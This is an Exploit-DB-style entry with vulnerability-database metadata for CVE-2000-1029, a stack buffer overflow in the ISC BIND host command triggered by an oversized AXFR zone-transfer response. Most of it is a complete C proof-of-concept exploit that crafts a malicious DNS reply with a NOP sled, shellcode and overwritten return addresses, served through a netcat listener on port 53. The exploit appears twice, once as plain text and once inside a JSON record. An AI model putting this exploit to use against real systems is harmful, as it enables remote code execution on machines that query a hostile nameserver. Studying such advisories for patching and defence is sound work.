source: http://www.securityfocus.com/bid/1887/info
An exploitable buffer overflow vulnerability exists in certain non-current versions of the ISC host command.
host can be used to issue an AXFR command to effect a zone transfer for a given domain name. In affected versions of host, if the AXFR query yields a response from the server which exceeds 512 bytes in length (possible, since TCP DNS messages can be up to 65535 bytes in length), the response can overflow the relevant buffer onto the stack, allowing the return address of the function to be modified. This may allow an operator of a malicious nameserver to gain control of a system on which host is being run when a query is made.
command line:
./host -l -v -t any somezone.org <fake server>
proof of concepts exploit:
/* hostexp.c
* cc hostexp.c -o hostexp
*
* usage: ./hostexp | nc -l -p 53
*/
#include <stdio.h>
#include <netinet/in.h>
int main(void)
{
int offset = 140;
unsigned int base = 0xbffff74c+offset, i;
char shellcode[] = /* 48 bytes, ripped */
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/ls";
unsigned short a = htons(1024);
char buffer[1026];
memcpy(buffer, &a, 2);
memset(buffer+2, 'A', 100); /* avoid response processing */
memset(buffer+102, 0x90, 100);
memcpy(buffer+202, shellcode, 48);
for (i = 202+48; i < 202+48+600; i+=4)
memcpy(buffer+i, &base, 4);
write(fileno(stdout), buffer, 1026);
return 0;
}
{"bulletinFamily": "exploit", "id": "EDB-ID:20374", "cvelist": ["CVE-2000-1029"], "modified": "2000-10-27T00:00:00", "lastseen": "2016-02-02T14:06:25", "edition": 1, "sourceData": "source: http://www.securityfocus.com/bid/1887/info\r\n\r\nAn exploitable buffer overflow vulnerability exists in certain non-current versions of the ISC host command. \r\n\r\nhost can be used to issue an AXFR command to effect a zone transfer for a given domain name. In affected versions of host, if the AXFR query yields a response from the server which exceeds 512 bytes in length (possible, since TCP DNS messages can be up to 65535 bytes in length), the response can overflow the relevant buffer onto the stack, allowing the return address of the function to be modified. This may allow an operator of a malicious nameserver to gain control of a system on which host is being run when a query is made.\r\n\r\ncommand line:\r\n\r\n./host -l -v -t any somezone.org <fake server>\r\n\r\nproof of concepts exploit:\r\n\r\n/* hostexp.c\r\n* cc hostexp.c -o hostexp\r\n*\r\n* usage: ./hostexp | nc -l -p 53\r\n*/\r\n\r\n#include <stdio.h>\r\n#include <netinet/in.h>\r\n\r\nint main(void)\r\n{\r\nint offset = 140;\r\nunsigned int base = 0xbffff74c+offset, i;\r\nchar shellcode[] = /* 48 bytes, ripped */\r\n\"\\xeb\\x22\\x5e\\x89\\xf3\\x89\\xf7\\x83\\xc7\\x07\\x31\\xc0\\xaa\"\r\n\"\\x89\\xf9\\x89\\xf0\\xab\\x89\\xfa\\x31\\xc0\\xab\\xb0\\x08\\x04\"\r\n\"\\x03\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\\x80\\xe8\\xd9\\xff\"\r\n\"\\xff\\xff/bin/ls\";\r\nunsigned short a = htons(1024);\r\nchar buffer[1026];\r\n\r\nmemcpy(buffer, &a, 2);\r\nmemset(buffer+2, 'A', 100); /* avoid response processing */\r\nmemset(buffer+102, 0x90, 100);\r\nmemcpy(buffer+202, shellcode, 48);\r\nfor (i = 202+48; i < 202+48+600; i+=4)\r\nmemcpy(buffer+i, &base, 4);\r\nwrite(fileno(stdout), buffer, 1026);\r\nreturn 0;\r\n}", "published": "2000-10-27T00:00:00", "href": "https://www.exploit-db.com/exploits/20374/", "osvdbidlist": ["13752"], "reporter": "antirez", "hash": "41d371e2c9a293c40404a714532df59bbca8fb8e4b748a1dbd58f03741127a96", "title": "ISC BIND 8.1 host Remote Buffer Overflow Vulnerability", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "ISC BIND 8.1 host Remote Buffer Overflow Vulnerability. CVE-2000-1029. Remote exploit for unix platform", "references": [], "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/20374/", "viewCount": 1, "enchantments": {"vulnersScore": 7.5}}
{"result": {"cve": [{"id": "CVE-2000-1029", "type": "cve", "title": "CVE-2000-1029", "description": "Buffer overflow in host command allows a remote attacker to execute arbitrary commands via a long response to an AXFR query.", "published": "2000-12-11T00:00:00", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-1029", "cvelist": ["CVE-2000-1029"], "lastseen": "2017-07-11T11:14:02"}], "osvdb": [{"id": "OSVDB:13752", "type": "osvdb", "title": "ISC BIND host Command AXFR Response Overflow", "description": "# No description provided by the source\n\n## References:\nMail List Post: http://archives.neohapsis.com/archives/bugtraq/2000-10/0408.html\nISS X-Force ID: 5462\n[CVE-2000-1029](https://vulners.com/cve/CVE-2000-1029)\nBugtraq ID: 1887\n", "published": "2000-11-01T00:00:00", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://vulners.com/osvdb/OSVDB:13752", "cvelist": ["CVE-2000-1029"], "lastseen": "2017-04-28T13:20:09"}]}}